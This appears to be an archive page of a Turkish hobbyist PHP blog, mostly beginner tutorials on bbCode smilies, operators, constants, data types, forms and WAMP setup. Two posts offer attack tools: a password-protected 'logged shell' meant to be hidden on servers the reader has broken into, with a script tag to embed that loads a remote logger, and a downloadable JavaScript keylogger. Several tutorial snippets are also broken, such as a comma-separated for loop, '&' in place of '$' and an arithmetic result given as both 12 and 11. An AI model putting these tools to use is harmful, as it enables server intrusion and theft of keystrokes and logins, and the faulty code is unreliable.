[ana sayfa] [hakkımda] [arşiv] [iletişim]
PHP etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
PHP etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

9 Loglu Shell Scripti (Şifre Korumalı)

Blog panelimde en çok hit alan yazıların başında "Haydi ! Loglu Shell Yapalım :)" yazımın olduğunu görünce oradaki bilgilerin biraz tırt olduğunu farkettim...yani kaldır at bi boka yaramaz...o yazıyı hangi kafayla yazdım hatırlamıyorum ama bayadır düzenlemeyi düşünüyodum lakin üşengeçlik işte :) Neyse üşengeçliğimin aksine gecenin bi yarısı üşenmedim sırf sizler birbirinizi rahat rahat kekleyin diye şifre korumalı loglu shell yazdım :) en azından piyasadaki kıytırık logger dalgalarının aksine şık & güvenli oldu :) kullanım klavuzu bile var !!!
Aslında bi ara kafayı biraz daha kırıp kullanıcı girişini & logları mySql e bağlayacaktım ama kullanım kolaylığı açısından biraz zor olacaktı...yani düşünsenize zor zahmet bi server a sızdınız gizli saklı bu scripti orada kullanmak istiyorsunuz bide tutup phpMyadmin 'e girip veritabanı mı oluşturacaksınız pehh!?! :P tabi siz sırf Loglu Shell işi için ayrı host - domain alacaksanız o zaman başka, iletişime geçin karşılıklı güzelleşiriz ;)
Login paneli :) amerikan filmlerindeki gibi oldu :)
Logları buradan gözlemleyebilirsiniz.fwrite ila yazım yaptığım için log dosyası şişebilir herhangi bi editörde(notepad vs.) govde.php yi açarak içeriğini silebilirsiniz.
Admin ayarlarını ayarlar.php den yukarıdaki gibi düzenleyebilirsiniz.

Shell 'e gizlenecek js kodu (şifrelemenizi tavsiye ederim) :
<script src=http://localhost/log/log.js></script>

  • Dosyaları buradan indirebilirsiniz.
  • Rar Pass : uslub3y
Yorumlarınızı bekliyorum...Hayırlı işler ! ;)

0 Php bbCode Uygulaması

Yazılımcıda olsak, basit bir internet kullanıcısı da olsa aslında hiçbirimiz bbCode uygulamalarına yabancı değiliz sadece bunun nasıl işlediği konusunda bir fikrimiz olmayabilir.Forumlarda & sosyal platformlarda herkes bbCode uygulamalarını kullanıyor.Örnek olarak facebook üzerinden durumunuza bir :) şeklinde gülücük ekliyorsunuz ve karşımıza  bu mutlu surat geliyor.Yazımın burdan sonrası php severleri ilgilendiriyor :)

bbcode.php
<?php

function bbcode($takla_at){

$bbcode['$gulucuk'] = array(":)", 				
												":D", 			
												":(", 		
												"8)", 			
												":P", 	
												";)", 		
												":@",	
												":'(");		
$bbcode['$cevir'] = array("<img src='/resim/mutlu.gif'>",			
											"<img src='/resim/kahkaha.gif'>",	
											"<img src='/resim/mutsuz.gif'>",		
											"<img src='/resim/gozluk.gif'>",		
											"<img src='/resim/dil.gif'>",		
											"<img src='/resim/kirp.gif'>",		
											"<img src='/resim/sinir.gif'>",		
											"<img src='/resim/agla.gif'>");		
											
$takla_at = str_replace($bbcode['$gulucuk'],$bbcode['$cevir'],$takla_at);
return $takla_at;
}
// uslubey
?>
Yukarıdaki bbcode.php dosyası yazılan yazıların kontrolünü yapacak olan fonksiyon dosyamız olacak.Yazımızdaki simgesel ifadeleri şu şekilde görsele çevirebiliriz:
<?php

include "bbcode.php";

$yazi = "Buraya bi gülücük koyalım :) buraya da bu somurtkan :( burda ağlayabilirim :'( ";
bbcode($yazi);

echo $yazi;

?>
Son olarak çalışmanıza /resim/ klasörü ekleyin,
"<img src='/resim/kahkaha.gif'>",	
"<img src='/resim/mutsuz.gif'>",		
"<img src='/resim/gozluk.gif'>",		
"<img src='/resim/dil.gif'>",		
"<img src='/resim/kirp.gif'>",		
"<img src='/resim/sinir.gif'>",		
"<img src='/resim/agla.gif'>");
ve yukarıdaki isimlerden farklı olmamak şartıyla ifadelerinizi bu klasöre atın.

0 JavasScript Keylogger

Geliştirme fırsatı olmadı fakat bu basit ama ilginç scriptle eminim ki yapılabilecek birşeyler vardır.index.php sayfası açıkken & sadece sayfa üzerinde klavyeden bastığınız her tuş scriptin oluşturduğu "127.0.0.1.html" adlı dosyada loglanır."write.php?on=" üzerindeykende url üzerinden loglama yapar.

Js Keylogger : İndirmek İçin Buraya Tıklayınız.

20 Alışveriş Sepeti (PHP & MySQL)

Nisan-Mayıs ayları arasında kodladığım basit bir scripttir...Bir gün, bilgisayar programcılığı 2. sınıftan bi kaç kişi proje ödevleri olduğunu ve komiktir ki bunun son final sınavı yerine sayılacağını söyleyerek yardım istediler, daha önce ödevlerine yardımcı olmamın faydasını görecektim...Parada sıkıntı olmayacağını söylediklerinde gözlerimde yeşillikler yanıp sönmeye başlamıştı bile malum öğrenci hayatı ...

Kolları sıvadım ve işe koyuldum basit birşey istediklerini panele bile gerek olmadığını söylediler ama ben kıyak olması mahiyetinde basit birde panel iliştirdim...


Scriptin Genel Özellikleri :
  • Üyelik sistemi ile çalışır (üye değilseniz ürünleri sepete atamaz & sepete erişemezsiniz)
  • Kullanıcı kaydı & girişi tamamlandıktan sonra anasayfadanikonu ile ürünü sepete atabilirsiniz.
  • Session ve mysql kontrolü ile her kullanıcının ayrı sepeti bulunurikonu ile de sepetten ürün eksiltebilir / silebilirsiniz.
  • Kontrol panelinden "ürün ekleme" , "ürün listesi" görme/silme ve "müşteri listesi" görme/silme işlemleri yapılıyor.

İndirmek İçin : Burdan (Link Güncellendi... | 03.03.2014)
(Link Güncellendi... | 09.12.2014)

0 Sezgisel Hack ! (Sesli Eğitim Videosu)

Merhaba muhterem takipçilerim bu tür paylaşım yapmayalı uzun bir süre oldu sanırım...Bu uzun süre zarfında da anladım ki sizlerin varlığını ortaya çıkarmak için illegal yolda birşeyler yapmak gerekiyor ekşın şart yani ama yapmayacam :) yani aslında yaptım...Yaptım evet ama illegal değil uyarı maiyetinde bişey oldu galiba(Bknz.) meraktan ağzınızın sulandığını biliyorum muhteremler yaklaşın :)

0 Aritmetiksel Operatörler

PHP'de aritmetiksel işlemleri yapabilmeniz için bildiğiniz gibi 5 farklı operatör mevcut.Bu operatörlere aşağıda hazırladığım tablodan bakabilirsiniz.Eğer ortaokulda matematik derslerine ben gibi biraz kulak kabartmışsanız bu operatörlerde işlem sırası olduğundan haberiniz vardır :) Öncelikle çarpma, bölme, mod daha sonra toplama ve çıkarma işlemleri yapılır ve işlem soldan başlar ;)

Operatörler:

Operatör Adı Operatör Kullanım
Toplama + $a + $b
Çıkarma - $a - $b
Bölme / $a / $b
Çarpma * $a * $b
Mod % $a % $b
uslubey.blogspot.com

İşlem sırası dedik buna bir örnek vereyim;

$a = 5 * 2 + 16 / 8 - 4 % 3;
echo $a;

/*
(2*5)+(16/8)-(4%3)=
10 + 2 - 1 = 12
*/

Yukarıdaki parantezler kafanızı karıştırmasın işlem sırasını vurgulamak amacıyla paranteze aldım gördüğünüz gibi toplama ve çıkarma 2. basamakta yapılıyor çalıştırdığınızda ekrana 11 sonucunu basacaktır.Belki MOD olayını anlamamış olabilirsiniz.MOD bir sayının bir sayıya bölümünden kalan sayıyı ifade eder...

MOD kullanımına Örnek;

for ($i=1, $i <= 51, $i++){
if ($i % 2 == 0){
echo "i değişkeninin değeri:".$i;
}
}

Döngü birer birer artırarak $i değerini 2 ye bölecek eğer kalan 0 ise (if ($i % 2 == 0){) ekrana i değişkeninin değerini basacak...

i değişkeninin değeri:2
i değişkeninin değeri:4
i değişkeninin değeri:6
...
...
...
i değişkeninin değeri:46
i değişkeninin değeri:48
i değişkeninin değeri:50

Yani $i değişkenin 2 MOD unu aldığım için 25 kez ekrana değer basacaktır...

0 PHP Sabitleri

Tam olarak nerede kalmıştık bilmiyorum fakat bu gece birşeyler karalamak istiyorum finish'i nerde çekeriz bilmiyorum :) Let'S go..!

PHP'de sabitler normal değişkenlere göre farklı bir şekilde kullanılır bu fark sabitlerin bir kere tanımlandıkları anda script içerisinde bir daha farklı değer almama şartlarıdır...Örneğin;

<?php
$var = 'elma';
echo $var; // elma yazacaktır...

$var = 'armut';
echo $var; // armut yazacaktır...

?> 

Görüldüğü gibi $var adlı değişkenin değerini bir alt satırda elmadan armuta değiştirdik.Fakat $var değişkenini sabitleseydik böyle bir kullanım söz konusu olmayacaktı.Bu yüzden sabitler değişkenlere göre daha güvenlidir.Özellikle RFI açıklarını kapama konusunda ;)

Sabit tanımlamaya örnek bir kod blogu yazıyorum;

<?php
define ('yazar','UsluBey');
echo defined('yazar'); // defined() sabit tanımlandımı? tanımlıysa 1 yazacaktır
echo yazar; // ekrana UsluBey basacak
?>

Yukarıda sabit tanımlamayı gösterdim şimdide bir kez değer tanımlanan sabite birden fazla değer vermeye çalışalım...

<?php
define ('var','elma');
echo var;
define ('var','armut');
echo var;
?>

Yukarıdaki kodları çalıştırdığınızda 'PHP Parse error: syntax error, unexpected T_VAR...' gibi bir hata alacaksınız çünkü dediğim gibi bir sabit birden fazla değer almaz yani bir kemik aynı yerden 2 defa kırılmaz gibi bişey =)

Bunların yanında PHP'de öntanımlı olarak 7 adet Magic Constant yani Sihirli Sabit mevcuttur onlarıda buradan inceleyebilirisiniz...

0 PHP Template Teorisi

Bu yazı kicker & bana aittir.
Merhaba bu yazımızda sizlere Photoshop'ta teorik bir template tasarımından & template'mizin php ile nasıl kullanılacağından bahsedicez.

Photoshop'ta alttaki ayarlara benzer bir çalışma alanı açıyoruz.Ben arka planı transparan olarak ayarladım böylece template sayfamızda belirleyceğimiz her renk koduna uyacak.

4 PHP'de Çarpım Tablosu


<?php

# By UsluBey
# İnternetsiz bir hayat Cengiz'siz winamp'a benzer...


$ilk_sayi = 1;
$ikinci_sayi = 0;

function Carp_Aq()
{
global $ilk_sayi;
global $ikinci_sayi;

$ikinci_sayi=$ikinci_sayi + 1;

if ($ikinci_sayi > 10)
{
$ikinci_sayi = 1;
$ilk_sayi++;
}
$sonuc = $ilk_sayi * $ikinci_sayi;
if ($ilk_sayi > 10)
{
die; // Eğer 11'e eşitsen canın cehenneme lanet olası 0_o ??
}
echo $ilk_sayi . "x" . $ikinci_sayi . "=" . $sonuc;
}

while($ilk_sayi < 11) // İlk sayı 10'a eşit olana kadar fonksiyonu çalıştır.
{
Carp_Aq();
}

?>

0 PHP'de Değişkenin Değişkeni Kavramı

Değişkenin değişkeni kavramı hayli basit olmasına rağmen bir o kadarda egzantirik, ilginç bir kavram :) Çalışma mantığı şöyle bir değişkene değer atıyorsunuz daha sonra bu değişkene atadığınız string değeri karşımıza yepyeni bir değişken olarak çıkıyor...

Örnekle daha iyi anlaşılabilir;


<?php

/*
Değişkenin değişkeni kavramı
*/

$s1 = "s2";
$$s1 = "UsluBey"; // $s2 değeri değişken oldu & UsluBey değerini aldı!

echo "\$s1 değişkeninin değeri : $s1<br />";
echo "\$s1 değişkeninin değeri : ${$s1}<br />";
echo "\$s2 değişkeninin değeri ise : $s2<br />";

?>


Kodun ekran çıktısı bu olacak:

$s1 değişkeninin değeri : s2
$s1 değişkeninin değeri : UsluBey
$s2 değişkeninin değeri ise : UsluBey

0 PHP Veri Türleri

Her programlama dilinde olduğu gibi php'de de bazı veri türleri mevcut...Bunlar şunlar:

  • GENEL TÜRLER:
boolean : Logic - mantıksal veri türü ( true yada false )
integer : Tamsayı veri türü
float : Tamsayı
string : Alfanumerik veri türü(text)

Yukarıdaki veri türlerini sınamak isterseniz aşağıdaki gibi bir kod parçası yazabilir ve sonucu daha iyi anlayabilirsiniz:


<?php

$a = 32310; // integer
$b = 4.50; // double
$c = "UsluBey"; // string
$d = TRUE; // boolean

print gettype($a)."<br>";
print gettype($b)."<br>";
print gettype($c)."<br>";
print gettype($d)."<br>";

?>

  • BİLEŞİK TÜRLER:
array : Dizi değişkenler
object : Nesneler

Dizi değişkenlerin kullanım türleri vardır bunlar şu şekildedir:

$dizi = array[anahtar] => deger;
$dizi[anahtar] = deger;
$dizi[] = deger;
Örnek kullanım:


<?php
$yemekler = array ("ymk1"=>"Pilav",
"ymk2"=>"Tas Kebabı",
"ymk3"=>"Kuru Fasulye");

echo $yemekler['ymk1'] . "<br>";
echo $yemekler['ymk2'] . "<br>";
echo $yemekler['ymk3'] . "<br>";

?>


Nesne türü değişkenler kendi içlerinde yani kendine özgü değişkenleri ve fonksiyonları olan türlerdir.

Örnek kullanım:

Örneğin kişi adı yazmaya yarayan bir nesne yazalım:


<?php

$Kisi_Adi = "UsluBey";

class kisi_adi
{
function kisi_adi_yaz($Kisi_Adi)
{
echo "Adınız: ".$Kisi_Adi;
}
}

$nesne=new kisi_adi;
$nesne->kisi_adi_yaz($Kisi_Adi);

?>

  • ÖZEL TÜRLER:
resource : Veritabanı bağlantısı gibi bilgiler
NULL : Boş bilgi

1 Bu Aralar PHP ve Ben

Yoğun çalışma tempomdan dolayı :) php öğrenme yolunda biraz tökezler gibi olsamda kafama koyduğum işi yapana kadar direnen biriyim bunun tam tersi bir şekilde istemediğim işide kimse yaptıramaz öhö öhöö her neyse konudan uzaklaşmayalım nerde kalmıştık evet php öğreniyorum diyordum...Bu aralar php'ye daha fazla vakit ayırarak kendimi geliştirmeliyim yani en azından bana 20 kağıda(+havale parası) mâl olan PHP ve AJAX kitabımın hakkını vermeliyim ^^

Açıkca konuşmak gerekirse öğrenirken nasıl bir yol izleyeceğim konusunda pek fikrim yok ama lise 2 de Visual Basic öğrenirken bol pratik yapılması gerektiğinin farkına vardım sanırım bundada böyle bir yol izlemem gerekiyor...Örnekleri blogumada yazmayı düşünüyorum böylece benle beraber hevesli başka arkadaşlarda yararlanabilir...

11 Blogger Syntax Highlighter Entegresi (Kod Renklendirici)

Bloggerda kodlarınızın kod editörlerdeki gibi renkli bir şekilde görünmesini istiyorsanız Syntax Highlighter'ı blogunuza entegre etmelisiniz...Bunun için blogunuzun Yerleşim > HTML'yi düzenle kısmından <head> tagını bulun hemen ardından şu kodları ekleyin:

<script src='http://shjs.sourceforge.net/sh_main.js' type='text/javascript'/>
<script src='http://shjs.sourceforge.net/lang/sh_cpp.js' type='text/javascript'/>
<script src='http://shjs.sourceforge.net/lang/sh_php.js' type='text/javascript'/>
<script src='http://shjs.sourceforge.net/lang/sh_javascript.js' type='text/javascript'/>
<script src='http://shjs.sourceforge.net/lang/sh_sql.js' type='text/javascript'/>
<script src='http://shjs.sourceforge.net/lang/sh_css.js' type='text/javascript'/>

Ben yukarıdaki dilleri entegre ettim eğer sizin tercihiniz farklıysa burada diğer dil dosyalarına ulaşabilirsiniz: http://shjs.sourceforge.net/lang/

Şimdi sıra css'yi eklemeye geldi bunun için kodlar arasından ]]></b:skin> kodunu bulun ve hemen üstüne şu css kodlarını yapıştırın:


pre.sh_sourceCode {
background-color: #eeeeee;
color: #000000;
font-weight: normal;
font-style: normal;
}

pre.sh_sourceCode .sh_keyword {
color: #bb7977;
font-weight: bold;
font-style: normal;
}

pre.sh_sourceCode .sh_type {
color: #8080c0;
font-weight: bold;
font-style: normal;
}

pre.sh_sourceCode .sh_string {
color: #a68500;
font-weight: normal;
font-style: normal;
}

pre.sh_sourceCode .sh_regexp {
color: #a68500;
font-weight: normal;
font-style: normal;
}

pre.sh_sourceCode .sh_specialchar {
color: #ff00ff;
font-weight: bold;
font-style: normal;
}

pre.sh_sourceCode .sh_comment {
color: #ff8000;
font-weight: normal;
font-style: normal;
}

pre.sh_sourceCode .sh_number {
color: #800080;
font-weight: bold;
font-style: normal;
}

pre.sh_sourceCode .sh_preproc {
color: #0080c0;
font-weight: bold;
font-style: normal;
}

pre.sh_sourceCode .sh_symbol {
color: #ff0080;
font-weight: bold;
font-style: normal;
}

pre.sh_sourceCode .sh_function {
color: #004466;
font-weight: normal;
font-style: normal;
}

pre.sh_sourceCode .sh_cbracket {
color: #ff0080;
font-weight: bold;
font-style: normal;
}

pre.sh_sourceCode .sh_url {
color: #a68500;
font-weight: normal;
font-style: normal;
}

pre.sh_sourceCode .sh_date {
color: #bb7977;
font-weight: bold;
font-style: normal;
}

pre.sh_sourceCode .sh_time {
color: #bb7977;
font-weight: bold;
font-style: normal;
}

pre.sh_sourceCode .sh_file {
color: #bb7977;
font-weight: bold;
font-style: normal;
}

pre.sh_sourceCode .sh_ip {
color: #a68500;
font-weight: normal;
font-style: normal;
}

pre.sh_sourceCode .sh_name {
color: #a68500;
font-weight: normal;
font-style: normal;
}

pre.sh_sourceCode .sh_variable {
color: #0080c0;
font-weight: normal;
font-style: normal;
}

pre.sh_sourceCode .sh_oldfile {
color: #ff00ff;
font-weight: bold;
font-style: normal;
}

pre.sh_sourceCode .sh_newfile {
color: #a68500;
font-weight: normal;
font-style: normal;
}

pre.sh_sourceCode .sh_difflines {
color: #bb7977;
font-weight: bold;
font-style: normal;
}

pre.sh_sourceCode .sh_selector {
color: #0080c0;
font-weight: normal;
font-style: normal;
}

pre.sh_sourceCode .sh_property {
color: #bb7977;
font-weight: bold;
font-style: normal;
}

pre.sh_sourceCode .sh_value {
color: #a68500;
font-weight: normal;
font-style: normal;
}


Son olarak <body> tagını <body onload="sh_highlightDocument();"> ile değiştirin.

Yazınıza örneğin php kodu eklerken şu şekilde ekleyin:

<pre class="sh_php">KODLAR</pre>

Diğer dil etiketleri için aşağıdaki tablodan yararlanabilirsiniz:

Language HTML class
Bison sh_bison
C sh_c
C++ sh_cpp
C# sh_csharp
ChangeLog sh_changelog
CSS sh_css
Desktop files sh_desktop
Diff sh_diff
Flex sh_flex
GLSL sh_glsl
Haxe sh_haxe
HTML sh_html
Java sh_java
Java properties files sh_properties
JavaScript sh_javascript
JavaScript with DOM sh_javascript_dom
LaTeX sh_latex
LDAP files sh_ldap
Log files sh_log
LSM (Linux Software Map) files sh_lsm
M4 sh_m4
Makefile sh_makefile
Objective Caml sh_caml
Oracle SQL sh_oracle
Pascal sh_pascal
Perl sh_perl
PHP sh_php
Prolog sh_prolog
Python sh_python
RPM spec files sh_spec
Ruby sh_ruby
S-Lang sh_slang
Scala sh_scala
Shell sh_sh
SQL sh_sql
Standard ML sh_sml
Tcl sh_tcl
XML sh_xml
Xorg configuration files sh_xorg

Yardımını esirgemediği için BLaSTER kardeşime teşekkürler ;)

0 PHP Form Yapısı

Gece gece uyku tutmadı bende bloga bişeyler karalıyım dedim :) ve basit bi konu olan form yapısını konu aldım.Formlar kullanıcıdan belirli bilgi girişleri yaptırabilmemizi ve bu bilgileri istediğimiz şekillerde kullanabilmemizi sağlayan yapılardır.

Formlardan bilgi almak için;

<form> ... </form> taglarını kullanırız.Bilgilerin nereye gönderilceğine action="yazilacak_sayfa" şeklinde karar veririz ve hemen sonrasında gönderiliş metodunu belirlememiz gerekir bu işlemide method=yöntem şeklinde belirleriz.Yöntem derken 3 çeşit method yöntemi mevcuttur.Bunlar POST, GET & REQUEST' tir.

POST: Bilgilerin gönderilmesinde GET'e göre daha avantajlıdır çünkü güvenlik söz konusudur.(Nedenine GET'de değineceğim) POST ile gönderilen veri makinanın sabit diskiyle ilişkili olduğundan veri büyüklüğü sınırsızdır denebilir fakat GET ile gönderilen veri sunucu ayarlarıyla sınırlıdır.

GET: Get ile giden bilgiler tarayıcıda açık açık gözükür örneğin, kullanıcıdan adını ve şifresini girmesini istediğimiz bir form hazırladık.Kullanıcı, adını ve şifresini girip gönder dediğinde bilgiler browser'ın adres çubuğu kısmında;

kullanıcı_adi=serdar&sifre=1234 şeklinde gözükecektir ki buda güvenliği ayaklar altına almaya yeterde artar bile :)

REQUEST: Get & Post 'da kararsız kalındğı anda yani hangisini kullanacağımızı bilemediğimiz anlarda bunu kullanabiliriz.


Örnek Kod:

<form action="yazil_bana.php" method="post">

Adınız: <input type="text" name="adi"><br>

Soyadınız: <input type="text" name="soyadi"><br>

<input type="submit" value="Bilgileri Yolla!">

</form>


Yukarıdaki kodları index.htm olarak kaydedin...Şimdi yazil_bana.php dosyamızı yazalım;

<?php

&adi=&_POST["adi"];

&soyadi=&_POST["soyadi"]

echo "Adın:" . &adi . "<br>";

echo "Soyadın:" . &soyadi . "<br>";

?>


Browser görüntüsü şu şekilde olacak:

Adın:Serdar

Soyadın:Uslu


Technorati : ,

3 PHP Localhost Kurulumu



Sabaha karşı 3 sularında blog içeriğime dahil ettiğim PHP'yi localhostta yorumlatabilmek için neler yapmamız gerektiğine dair bi yazı yazdım :)

PHP dili, HTML gibi bilgisayarımızda ilave bir program kurmadan çalışabilen bir dil değildir.Bu yüzden bilgisayarımıza php çalıştırabilmek için bir localhost kurmamız gerekir, bunu kolay bir şekilde paket programlardan kurabiliriz.Bu paket programların içerisinde php, mysql, phpmyadmin ve apache hazır bir şekilde bulunmaktadır.

Ben Wamp Server kullanıyorum arayüz & kolaylık açısından hep ilk tercihim olmuştur.Şimdi wamp server'ın nasıl kurulacağını görelim.

Wamp Server'ı buraya tıklayarak bilgisayarınıza indirebilirsiniz.

Kurulum:

1. Setup dosyasını açın ve Next diyerek devam edin...














2. Lisans sözleşmesini "I accept the agreements" ı tikleyerek onaylayın ve tekrar Next deyin.














3.Bu adımda localhost dizini belirliyoruz otomatik olarak c:\wamp dizini geldi bende hiç değişiklik yapmadan devam ediyorum.














4.Kurulum hemen hemen bitti sayılır "Crate a quick launch icon" u kısayol oluşturmak istersek tikliyoruz.Masaüstüne kısayol atmasını istiyorsak "Crate a desktop icon" u işaretleyip Next diyoruz.














5.Install diyerek kurumu bitiriyoruz.

Programın saat kısmında beyaz bir ikonu belirdiyse çalışıyordur.Php dosyalarını çalıştırmak için C:\wamp\www dizinine atmamız yeterli.

Örneğin bir php dosyası hazırlayalım ve çalıştıralım.Not defterini açın ve altta gördüğünüz kodları yazın.

Dosya > Farklı Kaydet > test.php olarak C:\wamp\www dizinine php dosyası olarak kaydedelim.Browserı açın ve http://localhost/test.php yazıp enterlayın.



Artık bütün php dosyalarını C:\wamp\www dizinine atarak çalıştırabiliriz.SMF, Wordpress gibi hazır scriptlerinde kurulumunu localhostta gerçekleştirebiliriz.

Kolay gelsin!